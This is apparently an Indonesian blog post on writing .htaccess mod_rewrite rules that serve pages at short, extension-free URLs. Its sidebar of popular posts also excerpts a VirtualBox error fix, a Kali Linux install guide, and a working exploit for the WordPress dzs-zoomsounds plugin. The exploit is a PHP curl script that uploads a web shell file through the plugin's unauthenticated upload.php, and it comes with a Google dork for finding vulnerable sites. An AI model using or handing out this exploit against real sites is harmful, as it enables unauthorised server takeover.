Skip to main content

Cara membuat simple link URL dengan htaccess

Okee langsung aja, kali ini saya akan membahas cara membuat simple link URL dengan .htaccess , kadang kita sering menemukan URL seperti ini http://localhost/ganteng pada awalnya memang saya juga heran kok bisa memanggil file tanpa extensi .html atau .php dan ternyata untuk membuat URL tersebut kita bisa menggunkan file .htaccess, oke sekarang coba kita lihat contoh dari dua URL di bawah ini.

• http://localhost/ganteng
• http://localhost/path/ganteng.html

dari kedua URL tersebut mana yang menurut anda mudah di ingat dan enak di lihat ? pasti URL link yang pertama, dengan .htaccess dan module apache mod_rewrite, Anda bisa merubah URL sesuai keinginan anda, berikut ini adalah beberapa contoh penggunaan URL pada .htaccess.

RewriteEngine on
RewriteRule ^ganteng/$  /path/ganteng.html [L]
RewriteRule ^home/$ /home.php [L]
RewriteRule ^vit/$  /vit.html [L]
RewriteRule ^pri/$  /path/pri.htm [L]

hasil dari merubah URL di atas :

Baris ke 2 : http://localhost/path/ganteng.html → http://localhost/ganteng
Baris ke 3 : http://localhost/home.php → http://localhost/home
Baris ke 4 : http://localhost/vit.html → http://localhost/vit
Baris ke 5 : http://localhost/pri.html → http://localhost/pri

ganpang kan :D sekian dari saya, selamat mencoba :v

Comments

Popular posts from this blog

[Solved] Error relaunching VirtualBox VM Process: 5 | VirtualBox won't start

In this article we are going to discuss about the 'supR3HardenedWinReSpawn' error. When i was exploring the Cisco IOU  tool, I had to import a Cisco IOU VM which was in OVF file format. But as soon as i double click the ovf file, VM refused to start and an error popped up, saying: Error in supR3HardenedWinReSpawn Result Code: E_FAIL (0x80004005) Component: Machine Interface: IMachine {480cf695-2d8d-4256-9c7c-cce4184fa048} And another message was also given in addition to the above, Error relaunching VirtualBox VM process: 5 Command line: '81954AF5-4D2F-31EB-A142-B7AF187A1C41-suplib-2ndchild--comment Fedora32 --startvm fd699e30-a77b-4eac-8ced-1210d756855d --no-startvm-errormsgbox' (rc=-104) The error that you receive might not be as exact as it's given here, since VM details are also part of the error. For example, If you look at the error shown above, My VM name 'GNS3 IOU VM' is also part of the error.  Why do I see this error ? Well, When i was doing a litt...

WordPress dzs-zoomsounds Plugins <= 2.0 - Remote File Upload Vulnerability

################################################################################################### # Exploit Title: WordPress dzs-zoomsounds Plugins Remote File Upload Vulnerability # Vendor : http: //digitalzoomstudio.net/docs/wpzoomsounds/ # Author: bl4ck-dz # Date : 28/05/2015 # Infected File: upload.php # Category: webapps # Google dork:inurl:/wp-content/plugins/dzs-zoomsounds/ # Tested on : Linux | Windows ################################################################################################### <?php $evil = "dz.phtml" ; $ch = curl_init( "http://127.0.0.1/wp-content/plugins/dzs-zoomsounds/admin/upload.php" ); curl_setopt( $ch , CURLOPT_POST, true); curl_setopt( $ch , CURLOPT_POSTFIELDS,          array ( 'file_field' => "@$evil" )); curl_setopt( $ch , CURLOPT_RETURNTRANSFER, 1); $postResult = curl_exec( $ch ); curl_close( $ch ); echo "$postResult" ; ?> Shell Access : http: //127.0.0.1/wp-content/plugins/dzs-zoo...

How To Install Kali Linux In VMware Player

This tutorial will walk you through the difficult process of installing Kali Linux in VMware Player , a free virtual machine manager that can be downloaded from www.vmware.com . This tutorial assumes that you have some basic knowledge of your computer (amount of RAM, number of processors, x32 or x64 architecture, etc.) and that you’re using VMware Player as a virtual machine manager, not VMware Workstation or other software. Step One: First we need to download Kali from http://kali.org/downloads/ . If you have a 64-bit capable computer (like me), then you probably will want the 64-bit version of Kali for performance and compatibility reasons. Select the 64-bit version ONLY if you have a 64-bit computer . If you don’t have a 64-bit capable computer, or if you aren’t sure, then get the 32-bit version, as it will work on both architectures. Step Two: You can either direct download Kali through the browser’s download manager by clicking on ISO , or you can torrent it by clickin...